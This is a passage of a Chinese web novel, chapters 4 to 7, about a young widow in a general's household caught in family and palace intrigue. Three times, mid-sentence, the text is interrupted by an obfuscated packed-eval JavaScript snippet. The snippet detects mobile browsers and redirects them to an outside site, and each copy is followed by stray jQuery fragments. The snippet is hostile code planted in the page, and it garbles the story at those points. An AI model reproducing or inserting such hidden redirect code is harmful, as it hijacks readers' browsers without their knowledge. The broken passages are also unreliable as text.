“你终于问我了!”温书宁一手拍在整理好的书上面,津津乐道:“听说二爷在外面养的外室被二娘发现了,二娘一早就拽着那个外室回家里闹,怎么都不肯作罢呢。” 徐言璟跟着笑,温书宁看着他,见他不说话,恍然道:“你早就知道了?那你还知不知道那外室有个孩子?比你就小一岁呢,要我说二爷是真的很厉害,养了这么多年,现在才被发现。” “是么?”徐言璟看着她笑。 “是啊,只是二娘去的时候那个外室已经把孩子藏起来了,任二娘怎么翻天覆地找也找不到。”说完她略作思索,“也不知道那个孩子被藏在哪里了。” “别管二房的事,二娘性子泼辣,你看热闹可千万别看到她眼前去了,小心引火烧身。”他伸手想要理她鬓角的碎发,手伸到一半却剧烈咳嗽起来。 “我都是远远瞧着,二娘不知道,”温书宁和小厮扶着他躺到床上,“都说了别坐在窗户那边,吹了风你的病更不容易好。” “这不是想看看外面吗?现在天气也暖和了,我没事的。”徐言璟握着她的手,挥退了小厮,说道:“我名下还有不少的房产和地契,上次说的话还算数,等我走了,你可以拿着和离书去找母亲,想必她不会为难你的。” 温书宁看着他,相顾无言好一阵才起身从抽屉里拿出了那张和离书,当着他的面撕了个粉碎,“我说过不会和离就不会,你就算死了也是我温书宁的夫君,夫妻与共,我定不会做出对不起你的事情。” 徐言璟闭上眼,声音渐小,“我何德何能配你如此?” 温书宁咬着唇,眼里噙着泪,转身就跑了出去。 片刻后霜怜走进来将地上的纸张收捡干净。 “她当真这样说?” 霜怜跪在夫人脚边按摩,笑说:“千真万确,这些时日少夫人很照顾二公子,凡是有关二公子的事情都是亲力亲为。” 夫人笑着,却掩盖不了眼里的悲伤,长叹:“可怜这孩子了,璟儿若是走了,就随她去吧,多好的姑娘,总不能留在这后宅被岁月搓磨,你且好好照顾着她。” 霜怜:“是。” 徐言璟瘦的厉害,双眼浑浊无神,整个人形似一具枯骨,温书宁每次来送药的时候都会跪坐在床边的软垫上讲着自己小时候的趣事和最近发生的事情。 “你的小字叫阿水?”徐言璟气若游丝。 温书宁点点头,“是啊,小时候家里条件不好,别的小朋友有的东西我只能看着,有一天母亲要给我取小名,几张字条摆在我面前,我就选了这个,母亲说水就是财,喻意财运滚滚,后来我家的条件真的越来越好了。” 说完她看着他,忽然认真地说:“徐言璟,你也会越来越好的。” 徐言璟有气无力地扯了一下嘴角,“借阿水吉言。” 很显然他没有借到,四月十五的时候徐言璟下葬,整个将军府挂满了白绸,他的灵柩摆在将军府的灵堂,温书宁穿着一身丧服跪在灵柩前烧着纸,眼泪无声落下。 周围传来哭泣声,夫人伤心过度,晕了过去,将军如今在战场上,赶不回来,只飞鸽传书到家中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908859|192435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痛思失子之心。 晚上温书宁守灵,小厮捧着檀木匣子走来,“少夫人,公子说等他走后就让小的把这个匣子给您。” 她没有说话,小厮把匣子放在旁边就离开了。 灵堂寂静无声,她这才敢哭出声,粗糙的黄纸被紧紧攥在手心。 - 三日后。 选秀在即,黎朝派了好几次人来接她回家,每一次都没见到人就被赶出去了。 霜怜拿着信帖,站在她身边,“少夫人当真不去吗?” “不去,”温书宁的指尖扫过琵琶弦,忽而问道:“好听吗?” “好听。” 一曲完毕,她抱着琵琶笑道:“是我母亲教的,我学了好久。” 霜怜看着她,仿佛才意识到所谓的少夫人如今也还只是个小姑娘,这种年纪就守活寡实在是可惜,将手中的信帖递出去,“这是嘉贵妃递来的信帖。” “嘉贵妃?” 见她疑惑,霜怜这才想到当初婚宴办得潦草,许多人都没来,于是解释道:“嘉贵妃是二公子的姐姐,婚宴时没来,但送了不少礼。” 温书宁接过信帖,她并不知道徐言璟还有一个在宫中当妃子的姐姐,展开信纸,纸上寥寥几言有着安慰之意,还有一张邀约的帖子,马上就要选秀了希望她能来凑热闹。 陛下选秀,她去凑什么热闹? 定是母亲见她这几日不见人也不出门,担心她才让嘉贵妃给她下帖。 “我会去的。”她收好信帖,抱着琵琶进了房间,将琵琶放在木箱里,箱子里还有一个檀木匣子,她从未打开过。 进宫那日正巧是选秀的日子,陛下选秀是大事,由太后和皇后主持,温书宁跟嘉贵妃在旁看着,她对这些提不起兴趣,只听着嘉贵妃在旁边对那些秀女的评价。 嘉贵妃如今二十有六,膝下有一子,深得圣宠,长相温婉和善,说话也轻言细语,珠宝翡翠叠戴一身,显得十分雍容华贵,她拉着温书宁的手,眼里满是惋惜,“其实璟儿是个很好的孩子,本宫五岁时跟随姑姑去了江南,十六岁方才回京,刚回来的时候就看见父亲拉着竹板追着璟儿满院子跑,那时候他十一岁,整个人就是个混不吝,家里没人管的了他,父亲索性就将他送去了军营,总是一连好几个月见不到人,本宫常常去看他,后来他随着父亲上战场,本宫也入了宫,能见他的时候就更少了,旁人都说他桀骜不驯,目中无人,本宫是不信的。” 温书宁问:“为什么?” “因为他救了本宫,”嘉贵妃笑着,眼睛看向了别处,“那年贼寇横行,本宫被挟持,你知道的,深闺小姐,对上那些贼寇也是没有办法,他们向父亲讨要五百两黄金,可是府中哪儿有那么多?璟儿不顾父亲的布署独自一人闯贼窝,本宫看着他一人一枪在人群中厮杀,他的打法是不要命的,要命的人哪儿敢跟不要命的人拼?贼寇头子见状带着剩下的人跑了,他躺在血海里,本宫吓死了,赶紧带着他回府,大夫说他身上多处致命伤,要不是命大恐怕就折在那里了。” 温书宁听得认真,她所了解的徐言璟是一个喜欢看书的病人。 5. 第 5 章 日落西山,飞鸟的剪影掠过重山。 一直到选秀结束温书宁都是端坐在嘉贵妃旁边,从开始到结束只有嘉贵妃会跟她说上几句话,大多都是关于徐言璟的,她的话少,就显得嘉贵妃的话多。 她心里清楚,如果徐言璟的身体健康,那么将军府少夫人的位置绝对轮不到她坐,嘉贵妃和其母亲会在世家中选一个门当户对的女子,旁人不怎么搭理她一方面是因为这,另一方面就是外界传言她并不是黎家的二小姐,而是黎朝的私生女。 不过无所谓了,如果能就这样过一辈子也还不错。 “书宁?发什么呆呢?”嘉贵妃辞别了太后和皇后,由贴身宫女搀扶着站起来。 温书宁回过神,脸上带着得体的笑容,“没事。” “走吧,用完晚膳就派人送你回去。” 她亦步亦趋地跟在嘉贵妃身后,不知何缘由,嘉贵妃突然问起了她的长姐,“选秀的名单里似乎有你的姐姐,你与她关系如何?” “是,我与长姐的关系很好。” “你姐姐长得倒是个美人,本宫确实是听尚书大人说你们姐妹俩的关系颇好,那日后可要常进宫聚聚啊,本宫在这宫中也无聊的很。” 温书宁抬头看着嘉贵妃的背影,聚聚是假,防止她跑了才是真,她若是跑了,那徐家和徐言璟就成了京城的笑话,她在宫中怕是也会受到影响。 她良久才应下一声:“是。” 用过晚膳嘉贵妃就让人送她出宫,马车停在宫门口,宫女在前面掌灯,管事嬷嬷走在她旁边,手里捧着一个木盒,出了宫门站在马车前嬷嬷就把木盒递给她,“这是贵妃娘娘的一番心意,少夫人路上小心。” 温书宁捧着木盒由宫女扶着上了马车,“多谢嬷嬷,嬷嬷请回吧。” 马车摇摇晃晃驶离,街上没什么人,房屋下面挂着的灯笼散发出微弱的光亮,她撩开帘子看了眼外面,对着车夫说道:“停车。” 车夫拉停了马车,回头问道:“少夫人可是有什么事?” “没事,就是想走走路。”她把手里的木盒放在旁边,下了马车,独自一人走在空荡荡的大街上,车夫拉着马车跟在她身后不远处。 回到将军府已近戌时,霜怜等在府门口,见到她远远走来忙小跑上前,“少夫人怎么现在才回来?” “娘娘留我用饭了,就回来晚了些,别担心。”温书宁笑着安抚她。 霜怜说:“夫人早猜到贵妃娘娘要留你,想着你进宫拘谨,肯定没怎么吃,让奴婢在小厨房炖着银耳羹。” 她笑着把银耳羹从小厨房端出来,温书宁没有吃过晚膳后还用吃食的习惯,但毕竟是一番好意,还是吃了一些。 霜怜瞧着她自从二少爷走后就变得消瘦了不少,整个人也闷闷不乐,之前二少爷还在的时候她偶尔也会出府转转,如今却是连院子都不出,整日抱着琵琶坐在树下发呆,也不知道在想什么。 夜里的风拍打着窗户,温书宁在床上翻来覆去地睡不着,便起身披着外衣站在窗户下,徐言璟以前就最喜欢坐在窗户这里看外面,说是看风景,现在她站在这里,除了能把院子里那棵高大的杏树尽收眼底再看不见其它的风景。 徐言璟啊徐言璟。 你还当真是一个英年早逝的可怜人。 夜风寒凉,直到后半夜她才回房休息,次日一早霜怜就带着几名丫鬟和小厮整整齐齐站在院中,她愣在门口,“霜怜,这是……” 霜怜站在旁边,“二老爷明日要迎娶秦夫人进门,夫人得了老夫人的令,让他们今日务必将府中上下打扫的一尘不染,少夫人不妨去夫人院中坐坐?” 温书宁穿戴素净,提裙跨过门槛,叮嘱霜怜,“我的房间不必她们打扫。” 徐言璟曾是将军府唯一的公子,住的院子也是除了老夫人之外最大的,打扫起来费时,温书宁简单用过早饭便由丫鬟扶着去了赵夫人院子里。 一路上看着下人们张灯结彩,喜气洋洋,竟是跟当初自己嫁进来没差多少,这可不是迎娶小妾的制度,扶着她的丫鬟见她四处张望,像是知道她心中所想一般,解释道:“魏夫人嫁给二老爷已经有余两年,肚子一直都没有动静,前段时间二老爷偏拉着魏夫人去看郎中,那郎中说魏夫人年轻时被冻坏了身子,难以有孕,于是二老爷就想着把秦娘子接进府当夫人,魏夫人闹了一场,最后不知为何同意了。” 她的声音很小,温书宁侧耳听着,心里说不出是什么滋味,原来有没有孩子这么重要吗? “二少夫人,到了,小心台阶。”丫鬟一手扶着她一手去提她的裙子。 赵夫人坐在湖心亭,对面不知坐着谁,两人相谈甚欢,她站在远处看着,母亲既然有人解闷,那她就不去凑热闹了。 “少夫人不去吗?” 温书宁摇摇头,转身走了几步,却听见身后的声音远远传来,“宁儿,怎么不过来?” 她停住脚步转身朝湖心亭走去,走近了才看见那个被亭柱遮挡的人,女人穿着一身绛紫色长裙,袖口和裙摆绣着蝴蝶戏花,视线往上,映入眼帘的是一张娇俏又不失温婉的脸,眼中似是盛满了秋水,泛着潋滟水光,同样也看着温书宁。 女人比她先开口:“这就是二公子的夫人吧,长得果然明艳标致。” 夸奖的话温书宁从小听到大,只是礼貌性地笑了笑。 赵夫人说道:“这位是秦娘子。” “秦娘子安好。”她打了招呼,对方拉着她的手坐下,脸上的笑带起了眼角的皱纹。 秦绡语说:“早些时就听淮郎说二公子娶了一个水灵灵的美人儿,我还不信呢,现下倒是不得不信了,只是为何脸色这样苍白?” 她这样一说,夫人也赶紧瞧了一眼,“哎哟,是有些,怎么了这是?莫非是昨日进宫给吓着了?” 温书宁笑着,“没有,贵妃娘娘待我极好,只是昨夜睡不着,起来走走吹了风罢了。” “没事就好,”赵夫人点点头,“虽说现在已经入春了,但夜里的风还是冷得很,可千万别吹风,当心病了。” 她知道赵夫人是对她好的。 在赵夫人的院子里待到了晌午,霜怜来湖心亭找她,别过赵夫人和秦娘子后就随着霜怜回去了,院子里干净整洁了不少,也同外面一样挂上了红绸和红灯笼,只是—— 她站在杏树下面,看着上面被砍掉的枝桠,露出了光秃秃的年轮,霜怜随着她的目光看去,顿时脸色一变,对着院中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908860|192435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人呵斥道:“这树是谁砍的?!” 一群人“哐当”松掉了手上打扫的工具,在地上俯首跪成了一排,“少夫人饶命!” 温书宁眼眶酸涩,眨了眨眼,收回视线看向他们,轻声问道:“是谁砍的?” 过了好一会儿才有人磨磨蹭蹭往前跪了两步,是一个瘦瘦高高的小厮,颤抖着身体将头伏的更低了,哆嗦道:“少夫人饶命!小的只是看这树枝长得有些长了,想着长出叶子会遮挡阳光,才将它砍掉的。” “多此一举,”她说:“罚你一个月的月银能接受吗?” 小厮一愣,脸上全是死而后生的欣喜,连忙跪地磕头,“能接受能接受,多谢少夫人!多谢少夫人!” 温书宁摆摆手,等他们走后霜怜才问:“少夫人为何不罚他?” 她伸出手摸着杏树粗糙的树干,剌手的树皮刮着掌心,传来轻微的刺痛,“徐言璟以前总是看着这棵树,想来他是很喜欢的,幸好只是砍掉了树枝,若是整棵树都砍掉了,即便是将他打死也于事无补,霜怜,不是只有打骂才是惩罚,发生了不可弥补的错误才需要罚。” 霜怜沉默着,思索着这句话,觉得她说的对。 温书宁每次吃完午饭都需要睡午觉,但是今日她没有睡,而是搬了个躺椅到屋檐下,手里拿着昨夜贵妃娘娘送的东西——一个扁平的盒子。 盒子上的图案雕工精细,一眼便知是宫中物品,她打开盒子,里面是一对精美的珠花簪,由珍珠,宝石和珊瑚串联而成的一朵月光槿,阳光下,这朵华丽的月光槿散发出耀眼的光芒,她举起仔细端详,始终不知道贵妃送她这对簪子的用意。 末了,她将东西放回盒子里,看着那棵秃掉的杏树回想曾经,母亲也一定没有想到她回到京城是替黎初意嫁给徐言璟吧,若是知道,肯定不会想让她去京城的。 黎朝不是她向往的父亲的模样。 一个父亲不该是这样的。 - 翌日。 秦娘子由正门被抬入府,一个妾室入府的阵仗堪比正妻,这说出去定会遭参,宠妾灭妻,可大可小,只是老将军战功赫赫,大将军驻守边关,击退汗罗人,功绩卓越,又得陛下器重,旁人巴结都来不及,谁敢参本? 徐府的一方小院里,魏夫人穿着一身华丽的裙裳高座台上,听着屋外的喜气洋洋,看着屋里的红绸绫罗,竟是连平日里的半分气性都提不起了,旁边的桌子上放着一个托盘,里面是茶水和一只水头极好的翡翠玉镯。 她冷眼看着门口,眼中的冷意似乎要将她浸透,“秦绡语,你还真是阴魂不散!” 院子外锣鼓喧天,秦绡语坐在轿子里,由徐二爷扶着入府,入了院,按理说妾室是要给夫人敬茶的,魏夫人看着朝自己走来的两人,平静地喝了茶,送了入府礼。 跟着涌进来的客人们高声起哄,徐二爷双耳泛红,看着秦绡语笑得含蓄,牵着人进了院子,他将人安顿在房中,说道:“你且稍等我片刻,桌上有糕点,肚子若是饿了就垫垫,累了就褪了这身衣裳。” 秦绡语笑着:“你快去吧,客人等着你呢。” 徐二爷转身就走,出了门又快速地跑进来捧着她的脸狠狠亲了一口,“等我。” 6. 第 6 章 “我听二爷身边的小厮说秦娘子入府不是来当妾的——” “嘘!你不要命啦?”丫鬟止住她的话,但耐不住好奇小声问:“不是做妾还能是做什么?” “做平妻。”那丫鬟四下看了看,见没人才将话说完。 两个小姑娘脸上满是唏嘘,赶忙走远了,也就没有看见旁边假山后面的两道人影。 “夫人……” 魏夫人看着那两个小丫鬟离去的方向,回想到了前段时间二爷去自己房中与自己说的话,心下一阵怒火上涌,脸色却平静,“给这两个小丫鬟家中各发五两的抚恤银,就说她们不慎落水,已无活着的可能。” 嬷嬷顿了一瞬,心下了然,“是。” - 自徐二爷娶平妻这件事情过了小半个月,这半个月里嘉贵妃一共召见了温书宁五次,最后一次两人不欢而散,那日下着雨,温书宁被赶出永和宫,此后再未被召见。 今日她刚晨起,霜怜便拿着一份红底烫金的帖子走进来,面色有些为难。 “怎么了?” 霜怜将帖子递上,“贵妃娘娘托人送来的信。” 温书宁拿过帖子打开,一张小纸条随风飘落在地上,她捡起纸条,上面简单的几句话让她的笑僵在脸上,霜怜见状问道:“少夫人,怎么了?” “没事,”她站起来,将纸条重新夹回帖子中,“你先出去。” 霜怜走后她才再次将那张纸条拿出来看,黎朝的名字在当中显得格外显眼。 ‘更夫所指,三月十五日戌时一刻黎朝自宋宅走出,次日宋钰死。’ 短短几句话,却让她的脸色白了又白,难怪黎朝这几日没有再往府中送信,原来是身陷囹圄了。 用过早膳她便入了宫,她刚入京城,朝中的事情尚且不明白,更不知嘉贵妃给她传递这个消息意在何处。 宋宅住的是新科状元郎,长相一表人才,谋略过人,深得陛下喜爱,自入朝后便为陛下解决了岭南水患的问题,这些事情还是徐言璟在世时同她说来打发时间的。 马车停在西华门,嘉贵妃的掌事嬷嬷已经等在那里了,温书宁一下马车她便迎了上来,“少夫人请。” 温书宁随她进了永和宫,嘉贵妃正在院子里修剪花枝。 “臣女参见贵妃娘娘。” 温书宁跪地俯首。 嘉贵妃没有说话,只微微蹙眉看着面前的花,好一会儿才动手将多余的树枝剪掉,将剪刀递给身边的宫女,看向温书宁道:“起来吧。” 温书宁站起来,跟着嘉贵妃进了内殿,伺候的宫女们都被屏退了出去。 “你可知本宫叫你来所为何事?” “臣女不知。”她是真的不知道。 嘉贵妃说:“宋钰死了,如今朝野上下参你父亲的折子都快把陛下的御案压塌了,你就不担心?” 温书宁低着头站着,她虽然不是多通晓史书,但也知道祸不及外嫁女,更何况黎家还有一个在宫里当娘娘的儿女,拐八十个弯也轮不到她担心。 “不得不说,你姐姐真的很聪明,短短半个月就位及四妃,不过因着这件事,陛下对她也多有冷淡,你想指望她肯定是不行的,”嘉贵妃抿了口茶,“你父亲这一举动,实是叫陛下少了一位可用之材。” “臣女的父亲不是这样的人。”温书宁思索了半天也就只能说出这鬼都不信的假话,她入黎府不过半日加一晚,连府中的那几个垂花廊道都不曾认清楚,怎么能知道黎朝是什么样的人?但他毕竟是父亲,有着血缘关系在,怎么也该辩驳几句。 她发现嘉贵妃似乎很喜欢鸟雀一类的动物,从她进入永和宫开始鸟雀的叫声就没断过,她偏头瞥了眼檐下,檐铃的旁边挂着一个金笼,笼中关着一只青色鸟羽的雀儿。 嘉贵妃的视线跟随她看去,笑道:“喜欢就送给你。” “多谢贵妃娘娘,只怕臣女无福得这雀儿的喜爱。” “它喜不喜欢不重要,锁着不会飞走就行了。” 她这才发现青色鸟羽之下若隐若现有一条金色锁链。 她忙跪下,“不知贵妃娘娘想要臣女做什么。” 贵妃站起来,走至妆台,从抽屉里拿出一封信,她将信纸展开平铺在温书宁眼前,“本宫也不跟你藏着掖着了,前几日有人给本宫送了一封信,信上说你是百年难遇的奇才,可兴国,望本宫一定要留住你,你信吗?” 温书宁看着面前的信,纸上密密麻麻写满了,东扯西拉了一大堆,总结一句话:一定不能让她落入奸人的手里,她要是死了,必将天下大乱。 呸! 谁这么见不得她好? 她盯着信,直到眼睛发酸才眨了眨眼问道:“娘娘信这个?” “宁可信其有,不可信其无,”嘉贵妃收了信,“你如今在府中也无事可做,正巧本宫这里有个职位非常适合你,前尚宫局司记卸任归乡了,如今正空缺,本宫希望你来顶上。” 温书宁静静听着,隐隐有一种今日她若是不愿意她便誓不罢休的错觉,“臣女自幼在乡野长大,未曾读过学塾,怕是担任不好这司记一职。” “如今夫君走了,母亲在家定是哀思难解,臣女想常伴母亲身边。” 香炉里的青烟袅袅升起,直至最高处扩散开,檐铃发出叮咚一声脆响,嘉贵妃看着她,“罢了,这件事日后再说,不过你父亲的事情如今可是紧急的很,你当如何?” 她俯首:“臣女不信父亲会做出这种事情。” 母亲说父亲是极好的人,当年母亲险些被卖,是父亲出手相助,那段时光里父亲总是很照顾母亲,衣食住行面面俱到,虽然她从入京开始就没体会到,但父亲也不至于杀人。 “天快黑了,让长盈送送你吧。” 话音落下,就从门口进来一个长相伶俐的宫女,“少夫人,请。” “长盈是本宫的陪嫁丫鬟,也是母亲身边嬷嬷的女儿,你方才的一番话倒是让我想到了她,她随我进宫也很长时间没有见过母亲了,日后她就跟着你了。” 温书宁跪地叩谢:“臣女谢贵妃娘娘。” 长盈熟悉宫里的路,一路上都没有说话,上马车前温书宁说:“去黎府。” 车夫驾着马车往朱雀街驶去,温书宁坐在马车里假寐,脑中思索着今日之事,嘉贵妃不可能单凭借一封来历不明的信就想让她留在宫中,一定还有其他的原因,父亲不是蠢货,杀死宋钰的另有其人。 - 黎府。 温书宁的马车停在门口,看门的护院见她从马车下来,赶紧上前搬踏凳,“少夫人。” “父亲呢?”她问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908861|192435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 护院回答:“大人在书房。” “带路。”温书宁往院子里走去,护院跟在她身后指路。 天色近暮,府中已经燃了灯烛,院子里的花草沾有水珠,应该是刚撒过水的,整个后院寂静无声。 “少夫人,到了。”护院站在回廊尽头,指着前面点的灯的房间。 窗纸上映照出两道人影,两人相谈甚欢,不时举杯碰撞,温书宁看着那人影,问道:“父亲有客人?” 护院说:“是大人的同窗好友,前段时间刚回京。” 她笼着袖子在廊下站了片刻,见书房里的两人一时半会儿不会出来,便对护院说:“天色已晚,我不便在外久留,等父亲出来后你替我带一句话,就说明日申时春满楼见。” “是。” 从黎府出来之后她一直都心神不宁的,思来想去觉得还是被嘉贵妃给影响了,这段时间进宫的频率变多,以前父亲没出事也就罢了,如今父亲出事,陛下肯定是知道的,她若是再进宫,恐怕会被牵连。 罢了罢了,还是安分待在将军府吧。 回到将军府时天已经彻底黑了,但府中却是灯火通明,她皱着眉,叫住一个脚步匆忙的丫鬟,“怎么了?” “回少夫人,秦夫人小产了。” 温书宁松开那个丫鬟的手臂,提着裙子往后院跑去,二房的院子在大房的后面,中间只留了一道垂花门,穿过垂花门就看见忙碌的丫鬟,血水一盆一盆地往外端,她跑到门口,就看见老夫人和大房二房的夫人都坐在不远处的亭子里,亭中点着灯,映照着众人难看的脸色。 她走过去屈膝行礼,“老夫人,母亲,二娘。” 赵夫人拉着她站在自己旁边,她趁机小声问:“母亲,这是怎么回事?” “先别问。” 她闭上嘴,紧盯着开了又关关了又开的门,跟她们一起等。 不知过了多久,再没有血水被端出来,老夫人说:“清涵,扶我起来。” 赵清涵是赵夫人的闺名。 赵夫人扶着老夫人往屋里走去,温书宁跟在身后,浓重的血腥味进入鼻腔,她不由得皱了皱眉,看着床幔后面的人。 “如何了?”老夫人的声音低沉。 稳婆说道:“是奴婢无能,秦夫人的孩子没保住。” “昸——” 老夫人将手中的拐杖重重往地上一搁,转身指着跟在后面的魏夫人,怒道:“看看你干的好事!” 温书宁这才发现她面色铁青,嘴唇也十分苍白没有颜色。 魏夫人踉跄了一下,跪在地上说道:“母亲息怒,儿媳……儿媳不知道她已经怀有身孕啊……” 温书宁瞧着她,原来是魏夫人害秦夫人流产。 “你不知道?”老夫人道:“你不知道就可以害人吗?!我们徐家怎么养出你这么个心肠歹毒的妇人!” 正说着,门口冲进来一道人影,半掩的门被推得哐铛响,徐二爷站在门口,看着屋内得景象脸色难看到了极致,“绡语!” 他扑向床榻,险些撞到温书宁,她往后看,好在母亲拉了她一把,不然还真就被二叔给撞到了。 秦夫人昏迷不醒,徐二爷进去没一会儿就出来了,走到魏夫人面前扬起手狠狠扇了她一巴掌,“毒妇!你真是个毒妇!我要休妻!” 7. 第 7 章 “我要休妻!” 这四个字如同一道惊天大雷,从天而降地劈在了魏夫人身上,她跌坐在地上,发髻散乱,发丝被眼泪浸湿,沾在脸颊上,双眼哭的通红,看起来楚楚可怜。 她看着地面,湿润的睫毛低垂,过了一会儿忽然笑了,“徐易淮,我与你成亲数年,对这个将军府没有功劳也有苦劳,你的衣食起居,哪样不是我亲力亲为?!今日你竟然为了区区一个贱妾要休了我?” 她越说越激动,伸手扶着身边的丫鬟站起来,“今日你若休了我,我定日日在佛祖面前诅咒你!” 温书宁看着她,心里知道,世家女,若是被休弃那是要被戳断脊梁骨的,即便是回到了娘家也是一辈子都不敢出来见人的,魏夫人这句话便是在说,若是徐二爷休了她,她便绞了头发做姑子。 她好歹是工部尚书之女,温书宁觉得二叔即便是再糊涂也一定不会拿这件事做发泄丧子之痛的出口。 果然徐二爷盯着她,良久甩袖,一言未发地进了帐帘看秦夫人。 老夫人看着魏夫人叹了口气说道:“去祠堂静思吧。” 如今将军府刚走了一个徐言璟,现在又没了一个,老夫人难免痛心,回去之后就大病了一场,将军府上下忙成了一团。 温书宁倒是自在,赵夫人没有什么需要她做的事情,次日申时她便带着霜怜和长盈出了门。 她本想独自去,但霜怜是赵夫人在她嫁进来的第二天吩咐过来跟着的,长盈是嘉贵妃给她的,这两个人无论如何也甩不开,既然如此,那干脆都带在身边, 春满楼。 黎朝昨日得了温书宁让小厮传的话一整晚都没睡着,今日早早地就等着了。 春满楼是京城最大、最繁盛的酒楼,聚集歌舞戏曲,赌钱吃饭,什么都干,什么钱都赚,同时这里也是消息最灵通的地方,他坐在二楼靠窗的位置,时不时从窗户看向外面,拥挤的人群中,一顶小亭子模样的马车缓慢行驶在人群中。 马车十分的奢华扎眼,就连驾马的车夫身上穿的衣裳制衣的料子都非比寻常,模样也俊俏,黎朝探出头,看见马车上下来一位穿着鹅黄色对襟短袄,百鸟绕花裙裳的女子,女子带着帷帽,面容看的不甚清晰,身边的两名丫鬟长相也十分出挑,穿着打扮也都是富贵人家,他仅一眼就知道是温书宁。 温书宁朝站在柜台的掌柜拿出了牌子,掌柜看了一眼便放下了手里的事情,迎着她上楼,“少夫人今日怎么有空过来了?” “随便看看。”她往楼上走,“你去忙吧。” 徐言璟曾经给自己的那些商铺店面的房契里就有这家春满楼,从前这酒楼是徐言璟的,现在是她的。 走到黎朝面前坐下,摘掉帷帽递给霜怜,“你们在门外等我吧。” 霜怜和长盈退至门口。 温书宁倒了杯茶,“父亲怎么来的这么早?” “你叫我来有什么事?” “父亲不记得自己做了什么吗?需要我来帮您回忆回忆吗?”这句话本就是诈他的,她放下茶盏,表情冷淡,看不出任何的情绪,“宋钰的死,难道跟您没关系?” 她打开天窗说亮话,倒是让黎朝有些诧异,看向她的眼神一时变得冷冽,连眼角的褶皱都带上了些许凌厉,“你这是在质疑为父?” 温书宁坐的笔直,搁在腿上的手攥紧到发白,手心的汗浸湿了袖口,但依旧强装镇定,“父亲误会了,只是如今都在传宋钰的死与父亲有关系,女儿想,这件事情肯定是误会,既然是误会,还是尽早解开比较好。” 她的声音有些微不可察地颤抖,虽然怨恨父亲把自己嫁给徐言璟,但依旧不敢轻易见他,只是今日这件事关乎整个黎家,若父亲当真杀了人她也不可能独善其身,覆巢之下焉有完卵? 黎朝看着她,四目相对,良久才端起茶杯抿了一口,“虽然我不知道你是从哪里听来的谣言,但那宋钰不是我杀的,那夜我不过是得了空,寻他喝盏茶罢了,谁知道他就这么莫名其妙地死了?” 话音落下,房中寂静无声,只余窗外传来的嘈杂,温书宁悄然松了口气,“父亲莫要责怪,女儿也是关心则乱,既然如此,那女儿便先回去了。” 她站起来,刚要起步就被黎朝叫住,“明日回来吃饭吧,你嫁人了,你姐姐也入了宫,家里就剩我和你母亲,冷清得很——” “她不是我母亲,”温书宁看着他一字一句地重复:“她不是我母亲,我的母亲已经死了,父亲告辞。” 她乘着马车往回赶,刚到将军府门口便听见了一阵闹哄哄,温书宁撩开帘子看了一眼,只见门口被围堵的水泄不通,她低声问:“霜怜,这是怎么了?” 霜怜挤进人群中,过了片刻后折返回来,“少夫人,这些人都是来要债的。” “要债?”她微微蹙眉,“府中何时欠了债务?母亲知道吗?” 如今将军府的中馈在母亲手里,每个月的用度都详细地记在账本中,父亲驻守边关,家中如何能欠债? “正门进不去,走侧门吧。” 马车在侧门停下温书宁就立刻下了马车,直奔赵夫人的院子。 “母亲!” 赵夫人正坐在案前,一手翻着账簿一手按着胀痛的太阳穴,闻声抬头看了一眼,“你怎么来了?” 温书宁说:“母亲怎么这么晚了还没睡?” 赵夫人合上账本,拉着她坐在身边,说道:“你也看见了吧?门口的那些人,都是来要账的,府中虽银钱富足,可也不能全拿来还账,我正愁从哪里能挤些出来。” 温书宁垂眸,账上有钱,但母亲不愿意拿出来,只怕这欠钱的人并不是将军府的人,但又跟将军府脱不了干系。 莫非—— “天色已晚,母亲早点休息吧,明日再想法子,门口的那些人我让霜怜和长盈打发了,母亲安心。” 玉兰居现在的用度远不及从前高,但母亲一直以从前的用度在拨给她,院中应该还有不少多出来的银钱。 夜风穿堂过,银亮的月光落在妆台上,窗台上放着一盆她最喜欢的绿萝,此时叶片翠绿,温书宁怔怔地看着,恍惚间思绪回到了跟母亲还住在梧桐巷的时候,母亲很喜欢在窗台和院子里种上各种植物,闲来无事的时候就会看着那些植物发呆,那时候她不懂,现在知道了,母亲是在想父亲。 那她呢?在想谁? 妆台最底下有一个大盒子,里面放着不少的金银珠钗,她拿起一个金凤步摇,在手中端详片刻放进了旁边的抽屉里,这支是她喜欢的,舍不得。 次日清早,她让霜怜去打听,看看秦夫人欠了多少钱,霜怜很快就回来了,还带回来了一张欠款名单,名单上多的是勾栏瓦舍赌场酒楼,这不是秦夫人欠的银子,是二伯的儿子,但画押签字的 